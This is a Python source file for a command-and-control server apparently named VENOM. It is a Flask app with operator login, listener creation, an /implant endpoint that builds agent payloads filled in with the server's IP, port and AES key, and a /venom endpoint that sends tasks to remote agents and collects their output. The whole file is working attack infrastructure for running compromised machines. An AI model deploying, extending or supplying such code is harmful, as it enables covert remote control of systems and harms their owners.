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venom.py
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venom.py
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#!/usr/bin/env python3
import re
from xmlrpc.client import boolean
from flask import *
from argparse import ArgumentParser
from controllers.db import *
from http.server import HTTPServer
from controllers.listener import Listener
from controllers.jwt_utils import *
import time
import ssl
from threading import Thread
from random import choices, seed
from string import ascii_uppercase, digits, ascii_lowercase
import jwt
import os
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode
import socket as s
from requests import get
''' TO DO:
1- Implement a one time registration feature (Not yet)
2- Intergrate a good unified success/error handling in all test cases (Not yet)
3- Agent skeletons shall be saved inside the db (Done)
4- Check for redundant listeners (same port)
5- Seperate listener creation and listener run
'''
_SECRET_ = "".join(choices(ascii_uppercase + digits, k=20))
if __name__ == "__main__":
app = Flask(__name__)
app.config['MONGODB_SETTINGS'] = {
'db': 'users',
'host': 'localhost',
'port': 27017}
_LISTENERS_ = dict()
s = s.socket(s.AF_INET, s.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
@app.route('/', methods=['GET'])
@token_required(_SECRET_)
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def authenticate():
if(request.method == 'GET'):
return render_template('login.html')
elif(request.method == 'POST'):
if(login(request.json.get('email'), request.json.get('password'))):
payload = {
'iat': datetime.utcnow(), # Current time
'exp': datetime.utcnow() + timedelta(minutes=10), # Expiration time
'sub': request.json.get('email')
}
access_token = jwt.encode(payload, _SECRET_, algorithm='HS256')
response = make_response()
response.set_cookie("accessToken", access_token.decode())
return response
else:
return 'Wrong creds!', 401
@app.route('/register', methods=['POST'])
def registerOperator():
try:
register(request.json.get('email'), request.json.get('password'))
return 'Registered Successfully', 200
except:
return 'Registration failed!', 500
# curl http://localhost:1337/listeners -XPOST -H "content-type: application/json" -d '{"action":"create","port":"443"}' -H "cookie: accessToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTE5NDY1NTEsImV4cCI6MTY1MTk0NzE1MSwic3ViIjoidmVub21AdmVub20ubG9jYWwifQ.2Qx4EWUe0DYcp1j4WplNpd0ddJt4L3nF6Mk19I-tl_8"
@app.route('/listeners', methods=['GET', 'POST'])
@token_required(_SECRET_)
def listeners():
if(request.method == 'GET'):
listeners = dict()
listeners['listeners'] = []
i = 0
for listener in getListeners():
#delete default mongo objectID
del listener['_id']
listeners['listeners'].append(listener)
return listeners , 200
elif (request.method == 'POST'):
if (request.json.get('action') == 'create' and request.json.get('port')):
try:
id = "".join(choices(digits, k=5))
port = int(request.json.get('port'))
if not checkListenerPort(port):
_LISTENERS_["listener_%s" % id] = HTTPServer(
('0.0.0.0', port), Listener)
if(args.ssl):
_LISTENERS_["listener_%s" % id].socket = ssl.wrap_socket(_LISTENERS_["listener_%s" % id].socket, server_side=True, certfile='./SSLKeys/server.pem', keyfile='./SSLKeys/server.key',ssl_version=ssl.PROTOCOL_TLS)
Key = os.urandom(16)
base64_bytes = b64encode(Key)
AESKey = base64_bytes.decode("ascii")
saveListener(id, port, AESKey)
listener = Thread(target=_LISTENERS_["listener_%s" % id].serve_forever)
listener.daemon = True
listener.start()
print(time.asctime(), "Start Server - %s:%s" %
('0.0.0.0', str(request.json.get('port'))))
return 'Listener created successfully', 200
else:
return 'Listener with port %s already created!' % (str(port)), 206
except:
return 'Error while creating a listener!', 206
elif (request.json.get('action') == 'delete'):
if(request.json.get('ListenerId') and delListener(request.json.get('ListenerId'))):
id = request.json.get('ListenerId')
_LISTENERS_["listener_%s" % id].server_close()
return 'Listener deleted successfully', 200
else:
return 'No Listener with specified ID found!', 206
return 'Missing Parameters', 206
# curl http://localhost:1337/implant -XPOST -H "content-type: application/json" -d '{"id":"26711","type":"linux"}' -H "cookie: accessToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTE4NjQ5MTksImV4cCI6MTY1MTg2NTUxOSwic3ViIjoidmVub21AdmVub20ubG9jYWwifQ.JtTaS9jnmPLBciG4gkt_tviYHNcUUU-jTRAEwo4Qyjg"
@app.route('/implant', methods=['POST'])
@token_required(_SECRET_)
def implant():
if(request.json.get('type') and request.json.get('id')):
try:
type = request.json.get('type')
listenerId = request.json.get('id')
seed()
agentID = "".join(choices(digits, k=5))
port = getListener(listenerId).get('port')
key = getListener(listenerId).get('key')
ip = s.getsockname()[0]
registerAgent(agentID, type, listenerId, port)
implant = getImplant(type)
implant = implant.replace('REPLACE_IP', ip).replace(
'REPLACE_PORT', str(port)).replace('REPLACE_ID', agentID).replace('REPLACE_KEY', key)
if(args.ssl):
implant = implant.replace('REPLACE_SCHEME','https')
else:
implant = implant.replace('REPLACE_SCHEME','http')
return Response(implant, mimetype='application/octet-stream'), 200
except:
return 'Listener with ID: %s not found!' % (request.json.get('id')), 206
else:
return 'Missing Parameters!' , 206
@app.route('/api/getAgentStatusCount/<status>', methods=['GET'])
@token_required(_SECRET_)
def getAgentStatusCount(status):
if(status == '1'):
return jsonify({
"agents": str(db.agents.count_documents({'status': {'$eq': 'alive' }}))
})
elif(status == '2'):
return jsonify({
"agents": str(db.agents.count_documents({'status': {'$eq': 'dead' }}))
})
@app.route('/agents', methods=['POST'])
@token_required(_SECRET_)
def agents():
status = request.json.get('status')
agents = dict()
agents['agents'] = []
i = 0
if (status == 'all'):
for agent in getAgents():
del agent['_id']
del agent['status']
del agent['task']
del agent['taskResult']
del agent['bindListenerID']
del agent['timeout']
agents['agents'].append(agent)
return agents , 200
else:
for agent in getAgents():
#delete default mongo objectID
if(agent['status'] != status):
continue
del agent['_id']
del agent['status']
del agent['task']
del agent['taskResult']
del agent['bindListenerID']
del agent['timeout']
agents['agents'].append(agent)
return agents , 200
@app.route('/deleteAgent', methods=['POST'])
@token_required(_SECRET_)
def deleteagent():
try:
deleteAgent(request.json.get('id'))
return 'Agent deleted', 200
except:
return 'Error while deleting Agent!', 200
@app.route('/venom', methods= ['POST'])
@token_required(_SECRET_)
def venom():
if(request.json.get('id') and request.json.get('task')):
try:
assignTask(request.json.get('id'), request.json.get('task'))
#Wait for maximum time to make sure result is sent back by agent.
time.sleep(20)
taskResult = readTaskResult(request.json.get('id'))
if(taskResult):
temp = taskResult
clearTaskResult(request.json.get('id'))
return temp
else:
return 'Agent didn\'t return a response or some error occured', 200
except:
return 'Error!' , 206
@app.route('/getTime', methods= ['GET'])
@token_required(_SECRET_)
def getTime():
try:
return get('https://timeapi.io/api/Time/current/zone?timeZone=Europe/Amsterdam').text, 200
except:
return 'Error getting date', 206
parser = ArgumentParser(description='Welcome to VENOM')
parser.add_argument('--port', type=int, required=True, default='8080', help='Port number, Default set to 8080')
parser.add_argument('--ssl', action='store_true', required=False, default=False, help='To enable SSL for Listeners, Disabled by default')
args = parser.parse_args()
password = "".join(choices(ascii_lowercase + digits, k = 12))
print("Creating a default account! ✅ ...\nEmail: venom@venom.local\nPassword: %s" % (password))
migrate(password)
app.run(host='0.0.0.0', port=args.port, debug=True)